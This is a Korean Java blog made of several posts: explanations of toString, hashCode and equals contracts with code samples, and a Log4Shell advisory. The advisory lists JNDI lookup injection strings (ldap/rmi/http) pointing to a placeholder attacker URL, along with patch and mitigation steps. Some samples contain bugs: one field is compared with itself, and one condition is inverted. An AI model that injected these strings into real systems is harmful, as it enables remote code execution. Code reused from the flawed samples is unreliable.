반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 toString 메서드에 대해 설명한다.

 

Object.toString() 메서드

Object.toString() 메서드는 print와 같은 함수, assert, debugger 등에 객체가 전달되면 자동으로 호출되는 메서드로 해당 객체의 대한 정보를 사람이 읽기 쉽도록 간략하지만 유용한 정보를 제공하도록 하는 메서드이다.

 

하지만 Object 클래스에 정의된 toString() 메서드는 클래스 이름 다음에 @ 기호와 16진수로 표현된 해시 코드가 붙은 문자열을 출력하도록 아래와 같이 구현되어 있다.

public class Object {
	...

    public String toString() {
        return getClass().getName() + "@" + Integer.toHexString(hashCode());
    }

 

따라서 toString() 명세서에는 다음과 같이 작성되어 있다.

Returns a string representation of the object. In general, the toString method returns a string that "textually represents" this object. The result should be a concise but informative representation that is easy for a person to read. It is recommended that all subclasses override this method.

 

toString 메서드 구현 방법

1. 가능하다면 객체 내의 중요 정보를 전부 담자.

 

2. 중요 정보가 너무 많다면 최대한 요약해 표현하자.

 

3. 표현되는 정보들은 getter와 같은 메서드를 제공하여 정보를 가져갈 수 있도록 하자.

 

4. 누군가는 toString이 리턴하는 문자열을 파싱하여 사용할 수 있다. 따라서 항상 명세서에 toString이 리턴하는 문자열에 대해 자세히 표현한다.

 

아래는 9장에서 사용한 클래스의 toString의 예제이다.

public class PhoneNumberWithHashCode {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	public PhoneNumberWithHashCode(int areaCode, int prefix, int lineNumber) {
		this.areaCode = areaCode;
		this.prefix = prefix;
		this.lineNumber = lineNumber;
	}

	/**
	 *
	 * 전화번호를 문자열로 변환해서 반환한다.
	 * 문자열은 "(XXX) YYY-ZZZZ" 형식으로 표현하여, 지역번호(areaCode), 국번(prefix), 회선번호(lineNumber) 순이다.
	 * 형식은 변경될 수 있다.
	 */
	@Override
	public String toString() {
		return String.format("(%03d) %03d-%04d", areaCode, prefix, lineNumber);
	}

	public static void main(String[] args) {
		PhoneNumberWithHashCode p1 = new PhoneNumberWithHashCode(111, 654, 7009);

		System.out.println(p1);
	}

}

 

아래는 자주 사용하는 API들에 대한 toString 소스이다.

 

- java.util.AbstractMap : 대부분의 *Map들이 상속하는 클래스

Map<String, String> map = new HashMap<>();
map.put("key1", "value1");
map.put("key2", "value2");

System.out.println(map.toString()); // {key1=value1, key2=value2}
    /**
     * Returns a string representation of this map.  The string representation
     * consists of a list of key-value mappings in the order returned by the
     * map's <tt>entrySet</tt> view's iterator, enclosed in braces
     * (<tt>"{}"</tt>).  Adjacent mappings are separated by the characters
     * <tt>", "</tt> (comma and space).  Each key-value mapping is rendered as
     * the key followed by an equals sign (<tt>"="</tt>) followed by the
     * associated value.  Keys and values are converted to strings as by
     * {@link String#valueOf(Object)}.
     *
     * @return a string representation of this map
     */
    public String toString() {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        if (! i.hasNext())
            return "{}";

        StringBuilder sb = new StringBuilder();
        sb.append('{');
        for (;;) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            sb.append(key   == this ? "(this Map)" : key);
            sb.append('=');
            sb.append(value == this ? "(this Map)" : value);
            if (! i.hasNext())
                return sb.append('}').toString();
            sb.append(',').append(' ');
        }
    }

 

- java.util.Date : 날짜 및 시각 정보를 관리하는 클래스

System.out.println(new Date().toString()); // Mon Dec 13 23:46:32 KST 2021
    /**
     * Converts this <code>Date</code> object to a <code>String</code>
     * of the form:
     * <blockquote><pre>
     * dow mon dd hh:mm:ss zzz yyyy</pre></blockquote>
     * where:<ul>
     * <li><tt>dow</tt> is the day of the week (<tt>Sun, Mon, Tue, Wed,
     *     Thu, Fri, Sat</tt>).
     * <li><tt>mon</tt> is the month (<tt>Jan, Feb, Mar, Apr, May, Jun,
     *     Jul, Aug, Sep, Oct, Nov, Dec</tt>).
     * <li><tt>dd</tt> is the day of the month (<tt>01</tt> through
     *     <tt>31</tt>), as two decimal digits.
     * <li><tt>hh</tt> is the hour of the day (<tt>00</tt> through
     *     <tt>23</tt>), as two decimal digits.
     * <li><tt>mm</tt> is the minute within the hour (<tt>00</tt> through
     *     <tt>59</tt>), as two decimal digits.
     * <li><tt>ss</tt> is the second within the minute (<tt>00</tt> through
     *     <tt>61</tt>, as two decimal digits.
     * <li><tt>zzz</tt> is the time zone (and may reflect daylight saving
     *     time). Standard time zone abbreviations include those
     *     recognized by the method <tt>parse</tt>. If time zone
     *     information is not available, then <tt>zzz</tt> is empty -
     *     that is, it consists of no characters at all.
     * <li><tt>yyyy</tt> is the year, as four decimal digits.
     * </ul>
     *
     * @return  a string representation of this date.
     * @see     java.util.Date#toLocaleString()
     * @see     java.util.Date#toGMTString()
     */
    public String toString() {
        // "EEE MMM dd HH:mm:ss zzz yyyy";
        BaseCalendar.Date date = normalize();
        StringBuilder sb = new StringBuilder(28);
        int index = date.getDayOfWeek();
        if (index == BaseCalendar.SUNDAY) {
            index = 8;
        }
        convertToAbbr(sb, wtb[index]).append(' ');                        // EEE
        convertToAbbr(sb, wtb[date.getMonth() - 1 + 2 + 7]).append(' ');  // MMM
        CalendarUtils.sprintf0d(sb, date.getDayOfMonth(), 2).append(' '); // dd

        CalendarUtils.sprintf0d(sb, date.getHours(), 2).append(':');   // HH
        CalendarUtils.sprintf0d(sb, date.getMinutes(), 2).append(':'); // mm
        CalendarUtils.sprintf0d(sb, date.getSeconds(), 2).append(' '); // ss
        TimeZone zi = date.getZone();
        if (zi != null) {
            sb.append(zi.getDisplayName(date.isDaylightTime(), TimeZone.SHORT, Locale.US)); // zzz
        } else {
            sb.append("GMT");
        }
        sb.append(' ').append(date.getYear());  // yyyy
        return sb.toString();
    }
반응형
반응형

2021.12.29 추가내용

2.17.0 버전에서 RCE 공격이 가능하여 또 2.17.1로 패치

 

(https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832)

2021.12.20 추가내용

2.16.0 버전에서도 서비스 거부 현상 발생하여 2.17.0으로 패치

(https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397)

 

2021.12.15 추가내용

2.15.0 버전에서도 또 다시 jndi 취약점이 발견 됨. (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)

 

2.15.0 버전에서는 jndi가 localhost에서만 가능하도록 했지만, localhost로 jndi를 공격하면 지속적으로 localhost를 호출하여 서비스 거부(DOS)를 발생시킬 수 있음

 

최신버전인 2.16.0으로 업그레이드 해야함.

이슈

log4j 2.0 베타 9 ~ 2.14.1 버전까지 1~10단계중 가장 강력한 10단계 보안이슈 발생

 

%m으로 메시지 로깅하는 곳에 jndi 명령어가 있을 경우 해당 명령어를 수행하여 타 프로그램 실행 가능하도록 가능

 

${jndi:rmi://공격프로그램URL}

${jndi:ldap://공격프로그램URL}

${jndi:http://공격프로그램URL}

 

유명 제품에 대한 테스트 현황

https://github.com/YfryTchsGD/Log4jAttackSurface

 

테스트

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

 

 

해결

1. 최신버전인 2.15.0 으로 업그레이드

 

2. jndi lookup하지 않도록 변경

- Log4j 2.10 >=일 경우  JVM 옵션으로 Dlog4j2.formatMsgNoLookups=true

- Log4j 2.7 >= 일 경우 %m 설정을 %m{nolookups}

- Log4j 2.7 < 일 경우, 관련 클래스 모두 제거 후 jar 다시 말기

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

반응형

'Java' 카테고리의 다른 글

Junit in Action 3판  (0) 2024.09.22
반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 hashCode 메서드에 대해 설명한다.

 

Object.hashCode() 메서드

해시 코드란 객체를 식별하는 하나의 정수 값을 말한다. Object.hashCode() 메서드는 해당 객체의 해시 코드 값을 반환한다. 해시 코드는 java.util.HashMap과 같은 해시(hash) 기반 컬렉션에서 사용된다.

 

Object.hashCode() 메서드는 아래와 같다.

public class Object {
	 ...
	
	public native int hashCode();
}

 

Object의 hashCode는 native함수로 C언어로 작성되어 있다. 좀 더 자세히 알고 싶다면 다음을 참고한다. link to hashCode.

 

Object.hashCode() 메서드를 오버라이딩하여 재정의할 때 준수해야 하는 일반 규약이 Object 클래스 명세서에 작성되어 있다.

  • Whenever it is invoked on the same object more than once during an execution of a Java application, the hashCode method must consistently return the same integer, provided no information used in equals comparisons on the object is modified. This integer need not remain consistent from one execution of an application to another execution of the same application. 
  • If two objects are equal according to the equals(Object) method, then calling the hashCode method on each of the two objects must produce the same integer result.
  • It is not required that if two objects are unequal according to the java.lang.Object.equals(java.lang.Object) method, then calling the hashCode method on each of the two objects must produce distinct integer results. However, the programmer should be aware that producing distinct integer results for unequal objects may improve the performance of hash tables.

 

해시 코드는 반드시 구현해야 하는 것은 아니다. 하지만 두 번째 규약에 의하면 Object.equals() 메서드를 재정의 했다면 hashCode도 반드시 재정의해야 한다.

 

만약 두 번째 규약을 지키지 않으면 어떻게 되는지 보자.

 

두 번째 규약을 지키지 않았을 경우

아래는 equals() 메서드를 규약에 맞춰 작성한 PhoneNumer 클래스의 코드이다.

public class PhoneNumber {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	public PhoneNumber(int areaCode, int prefix, int lineNumber) {
		this.areaCode = areaCode;
		this.prefix = prefix;
		this.lineNumber = lineNumber;
	}

	@Override
	public boolean equals(Object obj) {
		if (obj == this) {
			return true;
		}
		if (!(obj instanceof PhoneNumber)) {
			return false;
		}

		PhoneNumber phoneNumber = (PhoneNumber) obj;

		// Since lineNumber may be the most different, check first.
		return phoneNumber.lineNumber == lineNumber && phoneNumber.prefix == prefix
		        && phoneNumber.areaCode == phoneNumber.areaCode;
	}

	public static void main(String[] args) {
		Map<PhoneNumber, String> map = new HashMap<PhoneNumber, String>();

		PhoneNumber p1 = new PhoneNumber(1, 2, 3);
		PhoneNumber p2 = new PhoneNumber(1, 2, 3);

		System.out.println(p1.equals(p2)); // true

		map.put(p1, "Phone");

		System.out.println(map.get(p1)); // Phone
		System.out.println(map.get(p2)); // null

		System.out.println(p1.hashCode()); // 366712642
		System.out.println(p2.hashCode()); // 1829164700
	}

}

p1과 p2는 논리적으로 동일하다. 즉, 새롭게 정의한 equals 메서드에서 두 객체는 동일하다고 판단한다. 그다음 HashMap에 p1을 키로 하여 데이터를 삽입하였다. 그 후, HashMap에서 데이터를 꺼낼 때 p1과 p2를 실험해본 결과 p1은 정상적으로 출력되지만 p2는 null을 반환한다.

 

Map은 동일한 키를 사용한다면 동일한 값을 반환해야 한다. 따라서 우리는 map.get(p2)도 Phone이 출력되어야 한다고 생각한다. 왜냐하면 p1과 p2는 논리적으로 동일하다고 판단하기 때문이다. 하지만 HashMap은 동일하다는 기준을 hashCode 값을 사용하여 판단한다. 따라서 HashMap에 동일성의 기준과 사람의 동일성의 기준을 같게 하기 위해서 equals 메서드를 재정의하였으면 hashCode 메서드도 재정의해야 한다.

 

hashCode()를 재정의 하기만 하면 된다?

이제 PhoneNumber의 문제를 발견했으니 hashCode() 메서드를 아래와 같이 재정의해보자. 

public class PhoneNumberOnlyAreaCode {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	...

	@Override
	public int hashCode() {
		return areaCode;
	}
    
	public static void main(String[] args) {
		Map<PhoneNumberOnlyAreaCode, String> map = new HashMap<PhoneNumberOnlyAreaCode, String>();

		PhoneNumberOnlyAreaCode p1 = new PhoneNumberOnlyAreaCode(1, 2, 3);
		PhoneNumberOnlyAreaCode p2 = new PhoneNumberOnlyAreaCode(1, 2, 3);

		System.out.println(p1.equals(p2)); // true

		map.put(p1, "Phone");

		System.out.println(map.get(p1)); // Phone
		System.out.println(map.get(p2)); // Phone

		System.out.println(p1.hashCode()); // 1
		System.out.println(p2.hashCode()); // 1
	}

}

 

위 결과를 보면 원하는 결과가 나왔다. 해시 코드를 areaCode를 리턴하도록 하였다.

 

그러나 위 코드는 areaCode가 같은 모든 객체는 같은 해시 코드를 가지게 되는데, 이는 해시 기반의 API를 사용할 때 끔찍한 결과를 가져올 것이다. areaCode가 같은 객체는 전부 같은 버킷에 해시되므로, 해시 테이블은 아주 긴 링크드 리스트가 많이 생기게 될 것이므로 원하는 성능이 나타나지 않는다.

 

따라서 hashCode의 세 번째 규약처럼 해시 코드가 꼭 다를 필요는 없지만, 해시 코드가 값이 다를수록 해시 테이블의 성능이 향상될 수 있다고 언급한 것이다.

 

hashCode 메서드 구현 순서

세 번째 규약에서 동일하지 않는 객체들끼리는 hashCode가 꼭 다를 필요는 없지만 다르면 성능적으로 좋다고 하였다. 서로 다른 객체들을 모든 가능한 해시 값에 균등하게 배분해야 하는데 수학자들이 그러한 이상적인 hashCode 메서드를 만드는 방법을 정의하였다.

 

  1. Create a int result and assign a non-zero value.
  2. For every field f tested in the equals() method, calculate a hash code c by:
    • If the field f is a boolean: calculate (f ? 0 : 1);
    • If the field f is a byte, char, short or int: calculate (int)f;
    • If the field f is a long: calculate (int)(f ^ (f »> 32));
    • If the field f is a float: calculate Float.floatToIntBits(f);
    • If the field f is a double: calculate Double.doubleToLongBits(f) and handle the return value like every long value;
    • If the field f is an object: Use the result of the hashCode() method or 0 if f == null;
    • If the field f is an array: see every field as separate element and calculate the hash value in a recursive fashion and combine the values as described next.
  3. Combine the hash value c with result:
    • result = 37 * result + c
  4. Return result

 

위 PhoneNumber에 구현 예제는 다음과 같다.

public class PhoneNumberWithHashCode {
	...

	@Override
	public int hashCode() {
		int result = 17;

		result = 31 * result + areaCode;
		result = 31 * result + prefix;
		result = 31 * result + lineNumber;

		return result;
	}

}

 

PhoneNumber는 필드가 세 개뿐이므로 해시 코드 값을 계산하는데 비용이 크지 않다. 하지만 해시 코드 계산 비용이 높은 클래스를 만들 때는 필요할 때마다 해시 코드를 재계산하는 대신 객체 안에 캐시 해 두어야 할 수도 있다. 우리가 자주 사용하는 String 클래스의 코드를 보자.

 public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence {
    /** The value is used for character storage. */
    private final char value[];

    /** Cache the hash code for the string */
    private int hash; // Default to 0

	...
 	
	public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

 

String 클래스의 hashCode는 글자의 길이만큼 반복이 발생하면서 hashCode 값을 계산한다. 아주 긴 문자열이라면 해시 코드를 계산하는데 비용이 크므로 String 클래스는 해시 코드를 계산한 후 캐싱해서 사용한다.

 

다만, 이렇게 캐시를 사용할 경우에는 변경 불가능 클래스여야 한다. 왜냐하면 중요 필드가 변경될 경우, 해시값도 달라져야 하는데 캐시를 해두고 위 로직처럼 한다면 동일한 해시값을 계속 반환하기 때문이다.

 

해시 코드를 구현할 때 주의할 점은 객체의 중요한 변수를 일부 빼고 해시 코드를 계산하면 문제가 발생할 수 있다. JDK 1.2 이전의 String의 hashCode는 문자열의 첫 번째 문자부터 일정 간격으로 열두 개 문자를 추출해서 해시 값을 계산했다. 추출한 12개의 문자들이 같은 경우가 많을 경우에는 해시 테이블이 끔찍한 성능을 보였다.

 

equals, hashCode를 자동으로 생성해주는 라이브러리

규칙 2에서 builder 패턴을 쉽게 생성해주는 lombok에 대해서 간단하게 설명했다. 마찬가지로 equals와 hashCode는 구현은 쉽지만 작성하기 귀찮으며 코드의 양이 많아져 보기가 싫다.

 

따라서 lombok에서는 equals와 hashCode에 대해서도 어노테이션을 제공한다.

@EqualsAndHashCode
public class EqualsAndHashCodeExample {
	private transient int transientVar = 10;
	private String name;
	private double score;
	@EqualsAndHashCode.Exclude
	private Shape shape = new Square(5, 10);
	private String[] tags;
	@EqualsAndHashCode.Exclude
	private int id;
}

 

@EqualsAndHashCode.Exclude를 사용하여 equals와 hashCode에서 배제할 필드를 선택할 수 있다.

 

아래는 최종적으로 생성되는 코드이다.

public class EqualsAndHashCodeExample {
	private transient int transientVar = 10;
	private String name;
	private double score;
	private Shape shape = new Square(5, 10);
	private String[] tags;
	private int id;

	public String getName() {
		return this.name;
	}

	@Override
	public boolean equals(Object o) {
		if (o == this) {
			return true;
		}
		if (!(o instanceof EqualsAndHashCodeExample)) {
			return false;
		}
		EqualsAndHashCodeExample other = (EqualsAndHashCodeExample) o;
		if (!other.canEqual(this)) {
			return false;
		}
		if (this.getName() == null ? other.getName() != null : !this.getName().equals(other.getName())) {
			return false;
		}
		if (Double.compare(this.score, other.score) != 0) {
			return false;
		}
		if (!Arrays.deepEquals(this.tags, other.tags)) {
			return false;
		}
		return true;
	}

	@Override
	public int hashCode() {
		final int PRIME = 59;
		int result = 1;
		final long temp1 = Double.doubleToLongBits(this.score);
		result = (result * PRIME) + (this.name == null ? 43 : this.name.hashCode());
		result = (result * PRIME) + (int) (temp1 ^ (temp1 >>> 32));
		result = (result * PRIME) + Arrays.deepHashCode(this.tags);
		return result;
	}

	protected boolean canEqual(Object other) {
		return other instanceof EqualsAndHashCodeExample;
	}
}

 

반응형
반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 equals 메서드에 대해 설명한다.

 

Object.equals() 메서드

Object.equals() 메서드는 객체와 다른 객체가 동일한 지 여부를 반환한다. equals를 오버라이딩 하지 않았을 경우 최상위 객체인 Object의 메서드가 호출된다. 이 경우 오직 자기 자신하고만 같다. (메모리 주소가 동일)

 

아래는 Object.equals()의 코드이다.

public class Object {
	...
    
    public boolean equals(Object obj) {
        return (this == obj);
    }
}

 

Object.equals() 메서드를 오버라이딩하여 재정의할 때 준수해야 하는 일반 규약이 Object 클래스 명세서에 작성되어 있다.

 

  • It is reflexive: for any non-null reference value x, x.equals(x) should return true.
  • It is symmetric: for any non-null reference values x and y, x.equals(y) should return true if and only if y.equals(x) returns true.
  • It is transitive: for any non-null reference values x, y, and z, if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true.
  • It is consistent: for any non-null reference values x and y, multiple invocations of x.equals(y) consistently return true or consistently return false, provided no information used in equals comparisons on the objects is modified.
  • For any non-null reference value x, x.equals(null) should return false.

하나씩 알아보자.

 

Reflexive : 반사성

반사성이란 모든 객체는 자기 자신과 같아야 한다는 뜻이다. 이 규약을 의도적으로 깨트릴 수는 있으나, 그럴 이유도 없고 지키지 않기도 힘들다. 아래 코드는 의도적으로 깨트렸다.

public class ViolatingReflexiveTest {
	int i;

	public static void main(String[] args) {
		ViolatingReflexiveTest test = new ViolatingReflexiveTest();
		test.i = 1;

		System.out.println(test.equals(test)); // false
	}

	@Override
	public boolean equals(Object obj) {
		return ((ViolatingReflexiveTest) obj).i < this.i;
	}
}

 

Symmetry : 대칭성

대칭성이란 X와 Y가 같으면, Y도 X와 같아야 한다는 뜻이다. 이 규약은 쉽게 깨질 수 있다.

 

예를 들어 동일한(비슷한) 의미를 가진 서로 다른 클래스인 X와 Y가 존재한다고 하자. X는 Y와 의미가 비슷하기 때문에 자기 자신 클래스뿐만 아니라 Y 클래스와 호환되도록 equals 메서드에서 Y 클래스를 입력받아서 처리하도록 설계했다.

 

하지만, Y는 X 클래스가 구현되기 전에 구현된 클래스고 자기 자신인 Y만 입력받아서 equals 메서드를 처리하도록 하였다. 따라서 X.equals(Y)는 참일 수 있지만 Y.equals(X)는 X가 자기 자신 클래스가 아니기 때문에 거짓을 항상 반환할 것이다.

public class XClass {
	public int age;

	@Override
	public boolean equals(Object obj) {
		if (obj instanceof XClass) {
			return age == ((XClass) obj).age;
		}

		// X 클래스는 Y 클래스와도 비교를 한다.
		if (obj instanceof YClass) {
			return age == ((YClass) obj).years;
		}
		return false;
	}

}


public class YClass {
	public int years;

	@Override
	public boolean equals(Object obj) {
		if (obj instanceof YClass) {
			return years == ((YClass) obj).years;
		}
		return false;
	}

	public static void main(String[] args) {
		XClass xClass = new XClass();
		YClass yClass = new YClass();

		xClass.age = 10;
		yClass.years = 10;

		System.out.println(xClass.equals(yClass)); // true
		System.out.println(yClass.equals(xClass)); // false

	}
}

 

Transitivity : 추이성

추이성이란 수학에서 많이 봤던 “a=b이고 b=c이면 a=c이다.”과 동일한 의미이다.

 

먼저 이 예제를 보이기 위해 java.awt.Point 클래스를 상속하고, 색상을 추가로 가지는 ColorPoint를 구현한다. ColorPoint의 equals 메서드는 자신과 동일한 객체만 검사하며 부모 클래스인 Point의 equals 메서드와 색상을 비교하여 객체의 동일 여부를 판단하도록 구현하였다.

 

하지만 이는 이미 대칭성(symmetric)을 위반한다. Point를 ColorPoint와 비교하면 좌표 값(x, y)을 비교하지만, ColorPoint는 자신과 동일한 객체만 검사하므로 부모인 Point가 검사대상이 될 경우 false다.

public class ColorPoint extends Point {
	private final Color color;

	public ColorPoint(int x, int y, Color color) {
		super(x, y);
		this.color = color;
	}

	@Override
	public boolean equals(Object obj) {
		// ColorPoint 객체가 아닐 경우, 항상 false이다.
		if (!(obj instanceof ColorPoint)) {
			return false;
		}

		return super.equals(obj) && ((ColorPoint) obj).color == color;
	}

	public static void main(String[] args) {
		Point point = new Point(1, 2);
		ColorPoint colorPoint = new ColorPoint(1, 2, Color.RED);

		// Symmetry
		System.out.println(point.equals(colorPoint)); // true
		System.out.println(colorPoint.equals(point)); // false
	}
}

 

추이성을 테스트하기도 전에 대칭성을 위반해버린다. 대칭성을 지키기 위해 Point 객체가 아닐 경우 false를 리턴하도록 변경하고, Point 객체이면 색상은 제외한 좌표만 비교하는 로직을 넣게 되면 대칭성이 보존된다.

public class ColorPoint extends Point {
	private final Color color;

	public ColorPoint(int x, int y, Color color) {
		super(x, y);
		this.color = color;
	}

	public ColorPoint(Point point, Color color) {
		super(point);
		this.color = color;
	}

	@Override
	public boolean equals(Object obj) {
		// Point 객체가 아닐 경우, 항상 false를 리턴
		if (!(obj instanceof Point)) {
			return false;
		}

		// ColorPoint가 아닌 Point 객체일경우, 색상은 비교하지 않고 좌표만 비교
		if (!(obj instanceof ColorPoint)) {
			return obj.equals(this);
		}

		return super.equals(obj) && ((ColorPoint) obj).color == color;
	}

	public static void main(String[] args) {
		Point point = new Point(1, 2);
		ColorPoint redColorPoint = new ColorPoint(point, Color.RED);

		// Symmetry
		System.out.println(point.equals(redColorPoint)); // true
		System.out.println(redColorPoint.equals(point)); // true

		ColorPoint blueColorPoint = new ColorPoint(point, Color.BLUE);

		// Transitivity violation
		System.out.println(redColorPoint.equals(point)); // true
		System.out.println(point.equals(blueColorPoint)); // true
		System.out.println(redColorPoint.equals(blueColorPoint)); // false
	}

}

 

하지만 위 코드는 이제 추이성을 위반한다.

point, redColorPoint, 그리고 blueColorPoint의 좌표는 (1, 2)로 동일하다. 따라서 아래와 같이 된다.

  1. redColorPoint와 point를 비교하면 좌표만 비교하므로 true를 리턴한다.
  2. point와 blueColorPoint를 비교하면 좌표만 비교하므로 true를 리턴한다.
  3. redColorPoint == point이고, point == blueColorPoint이므로 redColorPoint == blueColorPoint여야 하지만 ColorPoint 객체는 색상까지 비교하므로 둘의 색상은 다르다. 따라서 false를 리턴하여 추이성을 위반한다.

그렇다면 위와 같이 상속을 하여 구현한 클래스의 equals는 어떻게 구현해야 할까? 상속을 받아 새로운 값을 추가하여 equals를 만들 때 추이성 규약을 위반하지 않을 방법이 없다. 부모 클래스가 존재하는 한 이는 해결할 수 없다.

 

따라서 위와 같이 상속받아 구현하였을 경우 불가능하지만, 피할 수 있는 방법은 있다. 규칙 16에서 나올 '계승하는 대신 구성하라' 규칙을 사용하는 것이다. 즉 Point를 상속하지 말고 하나의 필드로 만들어서 사용하는 방법이다. 코드는 아래와 같다.

public class CorrectColorPoint {
	// Point를 상속하지 않고 필드로 구성하였다.
	private final Point point;
	private final Color color;

	public CorrectColorPoint(int x, int y, Color color) {
		this.point = new Point(x, y);
		this.color = color;
	}

	@Override
	public boolean equals(Object obj) {
		if (obj == this) {
			return true;
		}

		if (!(obj instanceof CorrectColorPoint)) {
			return false;
		}

		CorrectColorPoint cp = (CorrectColorPoint) obj;

		return cp.point.equals(point) && cp.color.equals(color);
	}
}

 

 

equals 메서드를 구현할 때 instanceof 대신 getClass 메서드를 사용하면 상속을 하여도 추이성을 지킬 수 있다는 소문이 있다. 하지만 이는 SOLID 원칙 중 하나인 리스코프 대체 원칙(Liskov substitution principle)을 위반한다. 리스코프 대체 원칙 참고.

 

리스코프 대체 원칙은 간단하게 말하면 자식의 인스턴스를 부모의 메서드에 대입하여도 부모 메서드의 결과는 동일하다는 의미이다. 말이 어려운데 코드를 보자. 아래는 Point.equlas의 코드이다.

public class Point extends Point2D implements java.io.Serializable {
	...
    
    public boolean equals(Object obj) {
        if (obj instanceof Point) {
            Point pt = (Point)obj;
            return (x == pt.x) && (y == pt.y);
        }
        return super.equals(obj);
    }
    
}

 

이제 이 Point.equals 코드의 instanceof를 getClass로 대체하면 아래와 같다.

    public boolean equals(Object obj) {
        if (obj == null || obj.getClass() != getClass()) {
            Point pt = (Point)obj;
            return (x == pt.x) && (y == pt.y);
        }
        return false;
    }

 

이렇게 변경되면 무엇이 문제일까? Point의 equals 메서드에 자식 ColorPoint를 넣게 되면 false가 된다. 왜냐하면 항상 자신의 class, 즉 Point가 아닐 경우에는 항상 false를 리턴하기 때문이다. 이는 리스코프 대체 원칙을 위반한다.

 

Consistent : 일관성

일관성이란 일단 같다고 판정된 객체들은 이후에 변화가 없으면 계속 같아야 한다는 것이다.

 

java.net.URL의 equals 메서드는 URL에 대응되는 IP 주소를 비교하여 동일 여부를 판단하였다. 하지만 IP주소는 네트워크상에서 언제든 변경될 수 있으므로 일관성을 보장하지 않는다. 아래 코드를 보자

public class UrlEqulasTest {
	public static void main(String[] args) throws MalformedURLException, UnknownHostException {
		URL firstUrl = new URL("https://www.google.co.kr/");
		URL secondUrl = new URL("https://142.250.199.67/"); // 구글의 접속 IP는 다양하므로 테스트때마다 다름

		InetAddress address = InetAddress.getByName(firstUrl.getHost());
		System.out.println(address.getHostAddress()); // 142.250.199.67

		InetAddress address2 = InetAddress.getByName(secondUrl.getHost());
		System.out.println(address2.getHostAddress()); // 142.250.199.67

		System.out.println(firstUrl.equals(secondUrl)); // true
	}
}

필자 네트워크상으로 'https://www.google.co.kr/'의 IP는 142.250.199.67이다. 따라서 'https://142.250.199.67/'과 equlas로 비교하면 현재는 true를 반환한다.

 

하지만 시간이 흐르면 'https://www.google.co.kr/'의 IP는 DNS에 따라서 계속 변경되기 때문에 어느 순간에는 '142.250.199.67'이 아닐 수 있다. 그럴 때는 위의 결과는 false를 리턴한다.

 

이렇게 코드는 동일하지만 equlas의 결과가 변화한다면 일관성이 없는 것이다. 따라서 equals를 정의할 때는 해당 객체의 고유한 값들만을 이용하여 작성해야 한다.

 

Non-nullity : 널(Null)에 대한 비 동치성

object.equals(null)는 항상 false를 반환해야 한다.

	@Override
	public boolean equals(Object obj) {
		if(obj == null){
			return false;
		}
		
		...
	}

 

위와 같이 작성하여도 되지만 instanceof에 null을 체크할 경우, 항상 false를 반환한다. 따라서 아래와 같이 작성하여 한번에 해당 자료형인지 확인도 하면서 null인지를 확인하도록 작성하자.

	@Override
	public boolean equals(Object obj) {
		if(!(obj instanceof MyType)){
			return false;
		}
		
		...
	}

 

equals 메서드 구현 순서

  1. == 연산자를 사용하여 인자가 자기 자신인지 제일 먼저 검사하여 같다면 바로 true를 리턴한다. 성능을 위함이다.
  2. instanceof 연산자를 사용하여 인자의 자료형이 정확한지 검사한다.
  3. 인자의 자료형을 캐스팅한다.
  4. 동일함을 검사하는 필드를 각각 비교한다.
    • float와 double은 각각 Float.compare와 Double.compare를 사용하여 비교한다.
    • 필드의 비교 순서는 다를 가능성이 가장 높거나 비교 비용이 낮은 필드부터 비교하는 게 좋다.
  5. 마지막으로 equals의 일반 규약을 만족하는지 검사한다.
	@Override
	public boolean equals(Object obj) {
		// 1. 자기 자신인지 검사한다.
		if (obj == this) {
			return true;
		}
        
		// 2. 자료형을 검사한다.
		if (!(obj instanceof CorrectColorPoint)) {
			return false;
		}
        
		// 3. 캐스팅한다.
		CorrectColorPoint cp = (CorrectColorPoint) obj;

		// 4. 다를 가능성이 높은 순서대로 필드를 비교한다.
		return cp.point.equals(point) && cp.color.equals(color);
	}

 

Object.equals()를 오버라이딩 하지 않아도 되는 경우

Object.equals()를 하위 클래스에서 재정의 하지 않아도 되는 경우는 아래와 같다.

 

  • 각각의 객체가 고유하다. 클래스 특성상 객체가 고유할 수밖에 없는 경우에는 오버 라이딩할 필요가 없다. 예를 들어 Thread 같은 클래스가 있다.
  • 클래스에 논리적 동일성 검사 방법이 있건 없건 상관없다. 클래스 특성상 equals 메서드가 있어봤자 사용할 일이 거의 없을 때 오버라이딩 하지 않는다.
  • 상위 클래스에서 재정의한 equals가 하위 클래스에서 사용하기에도 적당하다. 예를 들어 대부분의 Set, List, Map 클래스들은 각각 AbstractSet, AbstractList, AbstractMap의 equals를 사용한다.

 

 

반응형
반응형

이슈

POI는 아파치에서 만든 라이브러리로서 마이크로소프트 오피스 파일 포맷을 순수 자바 언어로서 읽고 쓰는 기능을 제공한다.

 

